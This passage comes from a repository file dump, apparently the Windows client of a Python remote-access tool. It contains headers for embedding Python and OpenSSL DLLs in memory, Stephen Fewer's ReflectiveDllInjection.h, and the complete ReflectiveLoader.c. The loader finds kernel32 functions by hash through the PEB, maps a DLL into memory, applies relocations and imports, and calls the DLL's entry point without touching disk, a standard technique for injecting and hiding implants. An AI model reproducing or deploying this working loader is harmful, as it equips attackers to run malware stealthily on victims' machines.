bytes_warning;\n    int warn_default_encoding;\n    int inspect;\n    int interactive;\n    int optimization_level;\n    int parser_debug;\n    int write_bytecode;\n    int verbose;\n    int quiet;\n    int user_site_directory;\n    int configure_c_stdio;\n    int buffered_stdio;\n    wchar_t *stdio_encoding;\n    wchar_t *stdio_errors;\n#ifdef _WIN32\n    int legacy_windows_stdio;\n#endif\n    wchar_t *check_hash_pycs_mode;\n    int use_frozen_modules;\n    int safe_path;\n    int int_max_str_digits;\n\n    /* --- Path configuration inputs ------------ */\n    int pathconfig_warnings;\n    wchar_t *program_name;\n    wchar_t *pythonpath_env;\n    wchar_t *home;\n    wchar_t *platlibdir;\n\n    /* --- Path configuration outputs ----------- */\n    int module_search_paths_set;\n    PyWideStringList module_search_paths;\n    wchar_t *stdlib_dir;\n    wchar_t *executable;\n    wchar_t *base_executable;\n    wchar_t *prefix;\n    wchar_t *base_prefix;\n    wchar_t *exec_prefix;\n    wchar_t *base_exec_prefix;\n\n    /* --- Parameter only used by Py_Main() ---------- */\n    int skip_source_first_line;\n    wchar_t *run_command;\n    wchar_t *run_module;\n    wchar_t *run_filename;\n\n    /* --- Private fields ---------------------------- */\n\n    // Install importlib? If equals to 0, importlib is not initialized at all.\n    // Needed by freeze_importlib.\n    int _install_importlib;\n\n    // If equal to 0, stop Python initialization before the \"main\" phase.\n    int _init_main;\n\n    // If non-zero, disallow threads, subprocesses, and fork.\n    // Default: 0.\n    int _isolated_interpreter;\n\n    // If non-zero, we believe we're running from a source tree.\n    int _is_python_build;\n} PyConfig;\n\n#define MemResolveSymbol MyGetProcAddress\n#define CheckLibraryLoaded MyGetModuleHandleA\n\n#define OSUnmapRegion(start, size) do {} while(0)\n       \n\n        \n#define DEPENDENCIES { \\\n        { \\\n            \"VCRUNTIME140.DLL\", \\\n            vcruntime140_c_start, vcruntime140_c_size, FALSE \\\n        }, \\\n        { \\\n            LIBCRYPTO, \\\n            libcrypto_c_start, libcrypto_c_size, FALSE \\\n        }, \\\n        { \\\n            LIBSSL, \\\n            libssl_c_start, libssl_c_size, FALSE \\\n        }, \\\n        { \\\n            LIBFFI, \\\n            libffi_c_start, libffi_c_size, FALSE \\\n        }, \\\n        { \\\n            \"PYTHON310.DLL\", \\\n            python3_c_start, python3_c_size, TRUE \\\n        } \\\n    }\n\n#ifndef PYTHON_DYNLOAD_OS_NO_BLOBS\nstatic char *OSGetProgramName() {\n    static const char *program_name = \"\";\n    static BOOL is_set = FALSE;\n\n    wchar_t exe[PATH_MAX];\n    int retval;\n\n    if (is_set)\n        return program_name;\n\n    if (!GetModuleFileNameW(NULL, exe, PATH_MAX))\n        return NULL;\n\n    retval = WideCharToMultiByte(\n        CP_UTF8, 0, exe, -1, NULL,\n        0, NULL, NULL\n    );\n\n    if (!SUCCEEDED(retval))\n        return NULL;\n\n    program_name = LocalAlloc(LMEM_FIXED, retval);\n    if (!program_name)\n        return NULL;\n\n    retval = WideCharToMultiByte(\n        CP_UTF8, 0, exe, -1, program_name,\n        retval, NULL, NULL\n    );\n\n    if (!SUCCEEDED(retval)) {\n        LocalFree(program_name);\n        return NULL;\n    }\n\n    is_set = TRUE;\n    return program_name;\n}\n\n#include \"vcruntime140.c\"\n#include \"python3.c\"\n#include \"libcrypto.c\"\n#include \"libssl.c\"\n#include \"libffi.c\"\n#endif\n\n#endif // PYTHON_DYNLOAD_OS_H\n"
  },
  {
    "path": "client/sources-windows-py3/ReflectiveDllInjection.h",
    "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted\n// provided that the following conditions are met:\n//\n//     * Redistributions of source code must retain the above copyright notice, this list of\n// conditions and the following disclaimer.\n//\n//     * Redistributions in binary form must reproduce the above copyright notice, this list of\n// conditions and the following disclaimer in the documentation and/or other materials provided\n// with the distribution.\n//\n//     * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR\n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H\n#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H\n//===============================================================================================//\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n\n// we declare some common stuff in here...\n\n#define DLL_QUERY_HMODULE\t\t6\n\n#define DEREF( name )*(UINT_PTR *)(name)\n#define DEREF_64( name )*(DWORD64 *)(name)\n#define DEREF_32( name )*(DWORD *)(name)\n#define DEREF_16( name )*(WORD *)(name)\n#define DEREF_8( name )*(BYTE *)(name)\n\ntypedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( PVOID );\ntypedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );\n\n#define DLLEXPORT   __declspec( dllexport )\n\n//===============================================================================================//\n#endif\n//===============================================================================================//\n\n"
  },
  {
    "path": "client/sources-windows-py3/ReflectiveLoader.c",
    "content": "//===============================================================================================//\n// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted\n// provided that the following conditions are met:\n//\n//     * Redistributions of source code must retain the above copyright notice, this list of\n// conditions and the following disclaimer.\n//\n//     * Redistributions in binary form must reproduce the above copyright notice, this list of\n// conditions and the following disclaimer in the documentation and/or other materials provided\n// with the distribution.\n//\n//     * Neither the name of Harmony Security nor the names of its contributors may be used to\n// endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR\n// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n// POSSIBILITY OF SUCH DAMAGE.\n//===============================================================================================//\n#include \"ReflectiveLoader.h\"\n//===============================================================================================//\n// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value\nHINSTANCE hAppInstance = NULL;\n//===============================================================================================//\n#pragma intrinsic(_ReturnAddress)\n// This function can not be inlined by the compiler or we will not get the address we expect. Ideally\n// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of\n// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics\n// available (and no inline asm available under x64).\n__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }\n//===============================================================================================//\n\ntypedef void **PPVOID;\n\ntypedef struct {\n    DWORD dwFunctionHash;\n    PPVOID ppvFunctionAddress;\n} ImportFunc;\n\ntypedef struct {\n    DWORD dwModuleHash;\n    DWORD dwCount;\n    ImportFunc *funcs;\n} ImportFrom;\n\n\n// This is our position independent reflective DLL loader/injector\nDLLEXPORT ULONG_PTR WINAPI REFLECTIVE_LOADER_SYM(LPVOID lpParameter)\n{\n    // the functions we need\n    LOADLIBRARYA pLoadLibraryA;\n    GETPROCADDRESS pGetProcAddress;\n    VIRTUALALLOC pVirtualAlloc;\n    VIRTUALPROTECT pVirtualProtect;\n    VIRTUALFREE pVirtualFree;\n\n#ifdef _WIN64\n    RTLADDFUNCTIONTABLE pRtlAddFunctionTable;\n#endif\n    // NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache;\n\n    BOOL blModuleResolved = FALSE;\n    BOOL blAllFound = FALSE;\n\n    // the initial location of this image in memory\n    ULONG_PTR uiLibraryAddress;\n    // the kernels base address and later this images newly loaded base address\n    ULONG_PTR uiBaseAddress;\n\n    // variables for processing the kernels export table\n    ULONG_PTR uiAddressArray;\n    ULONG_PTR uiNameArray;\n    ULONG_PTR uiExportDir;\n    ULONG_PTR uiNameOrdinals;\n\n    DWORD dwHashValue;\n    DWORD dwSizeOfImage;\n\n    // variables for loading this image\n    ULONG_PTR uiHeaderValue;\n    ULONG_PTR uiValueA;\n    ULONG_PTR uiValueB;\n    ULONG_PTR uiValueC;\n    ULONG_PTR uiValueD;\n    ULONG_PTR uiValueE;\n    ULONG_PTR uiValueF;\n\n    PPVOID ppvFunction = NULL;\n    ImportFunc *funcs;\n\n    DWORD dwIdx = 0;\n    DWORD dwNotFound;\n    DWORD dwFunctions;\n    DWORD dwNotFoundModules;\n    DWORD dwModules;\n    DWORD usCounter;\n\n    ImportFunc kernel32[] = {\n        {LOADLIBRARYA_HASH, &pLoadLibraryA},\n        {GETPROCADDRESS_HASH, &pGetProcAddress},\n        {VIRTUALALLOC_HASH, &pVirtualAlloc},\n        {VIRTUALPROTECT_HASH, &pVirtualProtect},\n        {VIRTUALFREE_HASH, &pVirtualFree}\n#ifdef _WIN64\n        , {RTLADDFUNCTIONTABLE_HASH, &pRtlAddFunctionTable}\n#endif\n    };\n\n    // ImportFunc ntdll[] = {\n    //     {NTFLUSHINSTRUCTIONCACHE_HASH, &pNtFlushInstructionCache},\n    // };\n\n    ImportFrom imports[] = {\n        // {NTDLLDLL_HASH, sizeof(ntdll)/sizeof(ImportFunc), ntdll},\n        {KERNEL32DLL_HASH, sizeof(kernel32)/sizeof(ImportFunc), kernel32}\n    };\n\n    dwModules = dwNotFoundModules = sizeof(imports)/sizeof(ImportFrom);\n\n    // STEP 0: calculate our images current base address\n\n    // we will start searching backwards from our callers return address.\n    uiLibraryAddress = caller();\n\n    // loop through memory backwards searching for our images base address\n    // we dont need SEH style search as we shouldnt generate any access violations with this\n    while(TRUE)\n    {\n        if((((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) || (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE_ALT))\n        {\n            uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;\n            // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),\n            // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.\n            if(uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)\n            {\n                uiHeaderValue += uiLibraryAddress;\n                // break if we have found a valid MZ/PE header\n                if((((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) || (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE_ALT))\n                    break;\n            }\n        }\n        uiLibraryAddress --;\n    }\n\n    // STEP 1: process the kernels exports for the functions our loader needs...\n\n    // get the Process Enviroment Block\n#ifdef WIN_X64\n    uiBaseAddress = __readgsqword(0x60);\n#else\n#ifdef WIN_X86\n    uiBaseAddress = __readfsdword(0x30);\n#else WIN_ARM\n    uiBaseAddress = *(DWORD *)((BYTE *)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);\n#endif\n#endif\n\n    // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx\n    uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;\n\n    // get the first entry of the InMemoryOrder module list\n    uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;\n    while(uiValueA && dwNotFoundModules)\n    {\n        funcs = NULL;\n\n        // get pointer to current modules name (unicode string)\n        uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;\n        // set bCounter to the length for the loop\n        usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;\n        // clear uiValueC which will store the hash of the module name\n        uiValueC = 0;\n\n        // compute the hash of the module name...\n        uiValueC = hashmodname(uiValueB, usCounter);\n\n        for (dwIdx = 0; dwIdx<dwModules; dwIdx ++) {\n            if (uiValueC == imports[dwIdx].dwModuleHash) {\n                funcs = imports[dwIdx].funcs;\n                dwNotFound = dwFunctions = imports[dwIdx].dwCount;\n                dwNotFoundModules --;\n                break;\n            }\n        }\n\n        if (!funcs) {\n            uiValueA = DEREF(uiValueA);\n            continue;\n        }\n\n        uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;\n\n        // get the VA of the modules NT Header\n        uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;\n\n        // uiNameArray = the address of the modules export directory entry\n        uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];\n\n        // get the VA of the export directory\n        uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);\n\n        // get the VA for the array of name pointers\n        uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);\n\n        // get the VA for the array of name ordinals\n        uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);\n\n        // loop while we still have imports to find\n        while(dwNotFound)\n        {\n            ppvFunction = NULL;\n\n            // compute the hash values for this function name\n            dwHashValue = symhash((unsigned char *)(uiBaseAddress + DEREF_32(uiNameArray)));\n\n            for (dwIdx = 0; dwIdx < dwFunctions; dwIdx ++) {\n                if (dwHashValue == funcs[dwIdx].dwFunctionHash) {\n                    ppvFunction = funcs[dwIdx].ppvFunctionAddress;\n                    break;\n                }\n            }\n\n            if (ppvFunction) {\n                // get the VA for the array of addresses\n                uiAddressArray = (\n                    uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);\n\n                // use this functions name ordinal as an index into the array of name pointers\n                uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));\n\n                // store this functions VA\n                *ppvFunction = (PVOID) (uiBaseAddress + DEREF_32(uiAddressArray));\n\n                // decrement our counter\n                dwNotFound -= 1;\n            }\n\n            // get the next exported function name\n            uiNameArray += sizeof(DWORD);\n\n            // get the next exported function name ordinal\n            uiNameOrdinals += sizeof(WORD);\n        }\n\n        // get the next entry\n        uiValueA = DEREF(uiValueA);\n    }\n\n    // STEP 2: load our image into a new permanent location in memory...\n\n    // get the VA of the NT Header for the PE to be loaded\n    uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;\n\n    // allocate all the memory for the DLL to be loaded into. we can load at any address because we will\n    // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.\n    dwSizeOfImage = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage;\n    uiBaseAddress = (ULONG_PTR) pVirtualAlloc(\n        NULL, dwSizeOfImage,\n        MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE\n   );\n\n    // we must now copy over the headers\n    uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;\n    uiValueB = uiLibraryAddress;\n    uiValueC = uiBaseAddress;\n\n    while(uiValueA--)\n        *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;\n\n    // STEP 3: load in all of our sections...\n\n    // uiValueA = the VA of the first section\n    uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);\n\n    // itterate through all sections, loading them into memory.\n    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;\n    while(uiValueE--)\n    {\n        // uiValueB is the VA for this section\n        uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);\n\n        // uiValueC if the VA for this sections data\n        uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);\n\n        // copy the section over\n        uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;\n\n        while(uiValueD--)\n            *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;\n\n        // get the VA of the next section\n        uiValueA += sizeof(IMAGE_SECTION_HEADER);\n    }\n\n    // STEP 4: process our images import table...\n\n    // uiValueB = the address of the import directory\n    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];\n\n    // we assume their is an import table to process\n    // uiValueC is the first entry in the import table\n    uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);\n\n    // itterate through all imports\n    while(((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)\n    {\n        // use LoadLibraryA to load the imported module into memory\n        uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));\n\n        // uiValueD = VA of the OriginalFirstThunk\n        uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);\n\n        // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)\n        uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);\n\n        // itterate through all imported functions, importing by ordinal if no name present\n        while(DEREF(uiValueA))\n        {\n            // sanity check uiValueD as some compilers only import by FirstThunk\n            if(uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)\n            {\n                // get the VA of the modules NT Header\n                uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;\n\n                // uiNameArray = the address of the modules export directory entry\n                uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];\n\n                // get the VA of the export directory\n                uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);\n\n                // get the VA for the array of addresses\n                uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);\n\n                // use the import ordinal (- export ordinal base) as an index into the array of addresses\n                uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));\n\n                // patch in the address for this imported function\n                DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));\n            }\n            else\n            {\n                // get the VA of this functions import by name struct\n                uiValueB = (uiBaseAddress + DEREF(uiValueA));\n\n                // use GetProcAddress and patch in the address for this imported function\n                DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);\n            }\n            // get the next imported function\n            uiValueA += sizeof(ULONG_PTR);\n            if(uiValueD)\n                uiValueD += sizeof(ULONG_PTR);\n        }\n\n        // get the next import\n        uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);\n    }\n\n    // STEP 5: process all of our images relocations...\n\n    // calculate the base address delta and perform relocations (even if we load at desired image base)\n    uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;\n\n    // uiValueB = the address of the relocation directory\n    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];\n\n    // check if their are any relocations present\n    if(((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)\n    {\n        // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)\n        uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);\n\n        // and we itterate through all entries...\n        while(((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)\n        {\n            // uiValueA = the VA for this relocation block\n            uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);\n\n            // uiValueB = number of entries in this relocation block\n            uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);\n\n            // uiValueD is now the first entry in the current relocation block\n            uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);\n\n            // we itterate through all the entries in the current block...\n            while(uiValueB--)\n            {\n                // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.\n                // we dont use a switch statement to avoid the compiler building a jump table\n                // which would not be very position independent!\n                if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)\n                    *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;\n                else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)\n                    *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;\n#ifdef WIN_ARM\n                // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.\n                else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)\n                {\n                    register DWORD dwInstruction;\n                    register DWORD dwAddress;\n                    register WORD wImm;\n                    // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)\n                    dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));\n                    // flip the words to get the instruction as expected\n                    dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));\n                    // sanity chack we are processing a MOV instruction...\n                    if((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)\n                    {\n                        // pull out the encoded 16bit value (the high portion of the address-to-relocate)\n                        wImm  = (WORD)(dwInstruction & 0x000000FF);\n                        wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);\n                        wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);\n                        wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);\n                        // apply the relocation to the target address\n                        dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;\n                        // now create a new instruction with the same opcode and register param.\n                        dwInstruction  = (DWORD)(dwInstruction & ARM_MOV_MASK2);\n                        // patch in the relocated address...\n                        dwInstruction |= (DWORD)(dwAddress & 0x00FF);\n                        dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;\n                        dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;\n                        dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;\n                        // now flip the instructions words and patch back into the code...\n                        *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));\n                    }\n                }\n#endif\n                else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)\n                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);\n                else if(((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)\n                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);\n\n                // get the next entry in the current relocation block\n                uiValueD += sizeof(IMAGE_RELOC);\n            }\n\n            // get the next entry in the relocation directory\n            uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;\n        }\n    }\n\n    // STEP 6: Execute TLS is any\n    uiValueC = (ULONG_PTR)&((\n        PIMAGE_NT_HEADERS) uiHeaderValue)->OptionalHeader.DataDirectory[\n            IMAGE_DIRECTORY_ENTRY_TLS];\n    if (((PIMAGE_DATA_DIRECTORY)uiValueC)->VirtualAddress) {\n        uiValueA = (PIMAGE_TLS_CALLBACK *) (\n            (PIMAGE_TLS_DIRECTORY) (\n                uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueC)->VirtualAddress\n            )\n        )->AddressOfCallBacks;\n\n        if (uiValueA) {\n            while (*((PIMAGE_TLS_CALLBACK *) uiValueA)) {\n                (*((PIMAGE_TLS_CALLBACK *) uiValueA))(\n                    (LPVOID) uiBaseAddress, DLL_PROCESS_ATTACH, NULL\n                );\n\n                uiValueA += sizeof(ULONG_PTR);\n            }\n        }\n    }\n\n    // STEP 7: If AMD64 - register exceptions\n#if _WIN64\n    uiValueC = (ULONG_PTR)&((\n        PIMAGE_NT_HEADERS) uiHeaderValue)->OptionalHeader.DataDirectory[\n            IMAGE_DIRECTORY_ENTRY_EXCEPTION];\n    uiValueA = ((PIMAGE_DATA_DIRECTORY) uiValueC)->VirtualAddress;\n    uiValueE = ((PIMAGE_DATA_DIRECTORY) uiValueC)->Size;\n\n    if (uiValueA && uiValueE && pRtlAddFunctionTable) {\n        pRtlAddFunctionTable(\n            uiBaseAddress + uiValueA,\n            (\n                 uiValueE / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)\n            ) - 1,\n            uiBaseAddress\n        );\n    }\n#endif\n\n    // STEP 8: Finalize all the crap\n    // uiValueA = the VA of the first section\n    uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + (\n        (PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);\n\n    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;\n    while(uiValueE--)\n    {\n        // uiValueB is the VA for this section\n        uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);\n\n        // uiValueC if characteristics of the section\n        uiValueC = ((PIMAGE_SECTION_HEADER)uiValueA)->Characteristics;\n\n        // copy the section over\n        uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;\n\n        if (uiValueC & IMAGE_SCN_MEM_DISCARDABLE)\n            pVirtualFree(uiValueB, uiValueD, MEM_DECOMMIT);\n        else if (uiValueC & IMAGE_SCN_MEM_EXECUTE)\n            pVirtualProtect(uiValueB, uiValueD, PAGE_EXECUTE_READ, &uiValueF);\n        else\n            pVirtualProtect(uiValueB, uiValueD, PAGE_READWRITE, &uiValueF);\n\n        // get the VA of the next section\n        uiValueA += sizeof(IMAGE_SECTION_HEADER);\n    }\n\n    pVirtualFree(uiLibraryAddress, dwSizeOfImage, MEM_DECOMMIT);\n\n    // STEP 9: call our images entry point\n\n    // uiValueA = the VA of our newly loaded DLL/EXE's entry point\n    uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);\n\n    // // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.\n    // pNtFlushInstructionCache((HANDLE)-1, NULL, 0);\n\n    // call our respective entry point, fudging our hInstance value\n    // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)\n    ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);\n\n    // STEP 10: return our new entry point address so whatever called us can call DllMain() if needed.\n    return uiValueA;\n}\n//"
  },
  {
    "path": "client/sources-windows-py3/ReflectiveLoader.h",
